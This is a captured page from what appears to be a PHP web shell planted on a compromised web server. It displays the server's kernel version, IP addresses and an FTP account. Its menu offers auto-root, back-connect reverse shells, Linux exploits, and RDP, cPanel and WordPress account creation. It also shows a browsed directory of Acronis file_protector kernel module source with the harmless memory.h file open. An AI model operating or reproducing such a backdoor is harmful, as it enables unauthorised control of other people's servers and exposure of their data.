Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
file_protector-1.1-1572 /
[ HOME SHELL ]
Name
Size
Permission
Action
common
[ DIR ]
drwxr-xr-x
ftrace_hooks
[ DIR ]
drwxr-xr-x
lsm_hooks
[ DIR ]
drwxr-xr-x
syscall_hooks
[ DIR ]
drwxr-xr-x
transport
[ DIR ]
drwxr-xr-x
Kbuild
10.29
KB
-rw-r--r--
Makefile
2.23
KB
-rw-r--r--
compat.c
8.38
KB
-rw-r--r--
compat.h
11.98
KB
-rw-r--r--
debug.h
3.56
KB
-rw-r--r--
dkms.conf
146
B
-rw-r--r--
file_contexts.c
52.97
KB
-rw-r--r--
file_contexts.h
2.86
KB
-rw-r--r--
file_contexts_priv.h
5.33
KB
-rw-r--r--
file_handle_tools.h
2.23
KB
-rw-r--r--
file_key_tools.h
950
B
-rw-r--r--
file_path_tools.h
2.09
KB
-rw-r--r--
hashtable_compat.h
2.73
KB
-rw-r--r--
hook_trampoline_common.h
4.29
KB
-rw-r--r--
interval_tree.h
779
B
-rw-r--r--
memory.c
3.31
KB
-rw-r--r--
memory.h
2.99
KB
-rw-r--r--
module.c
2.67
KB
-rw-r--r--
module_ref.h
421
B
-rw-r--r--
module_rundown_protection.c
3.64
KB
-rw-r--r--
module_rundown_protection.h
743
B
-rw-r--r--
path_tools.h
5.84
KB
-rw-r--r--
rundown_protection.c
4.2
KB
-rw-r--r--
rundown_protection.h
2.83
KB
-rw-r--r--
safe_kobject.h
1.28
KB
-rw-r--r--
si_common.h
4.23
KB
-rw-r--r--
si_fp_properties.h
858
B
-rw-r--r--
si_fp_properties_x.h
16.77
KB
-rw-r--r--
si_fp_value_types.h
515
B
-rw-r--r--
si_fp_value_types_x.h
1.25
KB
-rw-r--r--
si_size.h
4.15
KB
-rw-r--r--
si_templates.h
2.39
KB
-rw-r--r--
si_writer.h
6.93
KB
-rw-r--r--
si_writer_common.h
12.27
KB
-rw-r--r--
stringify.h
261
B
-rw-r--r--
task_info_map.c
14.61
KB
-rw-r--r--
task_info_map.h
6.33
KB
-rw-r--r--
task_info_map_common.h
4.15
KB
-rw-r--r--
task_tools.h
1.34
KB
-rw-r--r--
tracepoints.c
3.58
KB
-rw-r--r--
tracepoints.h
299
B
-rw-r--r--
write_protection.h
2.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : memory.h
/** @file @brief Linux kernel memory management interface wrapper @details Copyright (c) 2017-2018 Acronis International GmbH @author Mikhail Krivtsov (mikhail.krivtsov@acronis.com) @since $Id: $ */ #pragma once #ifndef BPF_PROGRAM #include <linux/mm.h> // is_vmalloc_addr() #include <linux/slab.h> // kmalloc(), kzalloc(), kfree() #include <linux/vmalloc.h> // vmalloc(), vfree() #include "safe_kobject.h" #define mem_flags(nowait) ((nowait) ? (GFP_ATOMIC) : (GFP_KERNEL)) #define mem_alloc_with_alloc_flags(size, nowait) kmalloc(size, mem_flags(nowait)) #define mem_alloc0_with_alloc_flags(size, nowait) kzalloc(size, mem_flags(nowait)) #define mem_alloc(size) mem_alloc_with_alloc_flags(size, false) #define mem_alloc0(size) mem_alloc0_with_alloc_flags(size, false) #define mem_alloc_nowait(size) mem_alloc_with_alloc_flags(size, true) #define mem_alloc0_nowait(size) mem_alloc0_with_alloc_flags(size, true) #define mem_free(p) kfree(p) static inline void *kvmalloc_compat(size_t size, gfp_t flags) { void *ret; ret = kmalloc(size, flags | __GFP_NOWARN); if (ret) { return ret; } return vmalloc(size); } static inline void kvfree_compat(void *addr) { if (is_vmalloc_addr(addr)) vfree(addr); else kfree(addr); } #define large_mem_alloc(size) kvmalloc_compat(size, GFP_KERNEL) #define large_mem_free(p) kvfree_compat(p) #define vmem_alloc(size) vmalloc(size) #define vmem_free(p) vfree(p) // kmem_cache used to make semantics like 'new' or 'delete' #define KMEM_STRUCT_CACHE_NAME(__struct) g_##__struct##_new_cache #define KMEM_STRUCT_CACHE_DECLARE(__struct) struct kmem_cache* KMEM_STRUCT_CACHE_NAME(__struct) #define KMEM_STRUCT_CACHE_INIT(__struct, flags, ctor) (KMEM_STRUCT_CACHE_NAME(__struct) = kmem_cache_create("fileprotector_" #__struct, sizeof(__struct##_t), __alignof__(__struct##_t), flags, ctor)) #define KMEM_STRUCT_CACHE_DEINIT(__struct) do{ if (KMEM_STRUCT_CACHE_NAME(__struct)) kmem_cache_destroy(KMEM_STRUCT_CACHE_NAME(__struct)); }while(0) #define KMEM_NEW_WITH_ALLOC_FLAGS(__struct, nowait) (__struct##_t*) kmem_cache_alloc(KMEM_STRUCT_CACHE_NAME(__struct), mem_flags(nowait)) #define KMEM_NEW(__struct) (__struct##_t*) KMEM_NEW_WITH_ALLOC_FLAGS(__struct, false) #define KMEM_NEW0_WITH_ALLOC_FLAGS(__struct, nowait) (__struct##_t*) kmem_cache_zalloc(KMEM_STRUCT_CACHE_NAME(__struct), mem_flags(nowait)) #define KMEM_NEW0(__struct) (__struct##_t*) KMEM_NEW0_WITH_ALLOC_FLAGS(__struct, false) #define KMEM_DELETE(__struct, ptr) kmem_cache_free(KMEM_STRUCT_CACHE_NAME(__struct), ptr) extern struct kmem_cache *g_handles_cache; int memory_init(void); void memory_deinit(void); typedef struct memory_metrics_s { safe_kobject_t skobj; atomic64_t total_file_contexts_tables; atomic64_t total_transports; atomic64_t total_transport_events; atomic64_t total_msgs; atomic64_t total_msgs_size; atomic64_t total_sized_msgs; atomic64_t total_sized_msgs_size; } memory_metrics_t; extern memory_metrics_t* g_memory_metrics; #endif
Close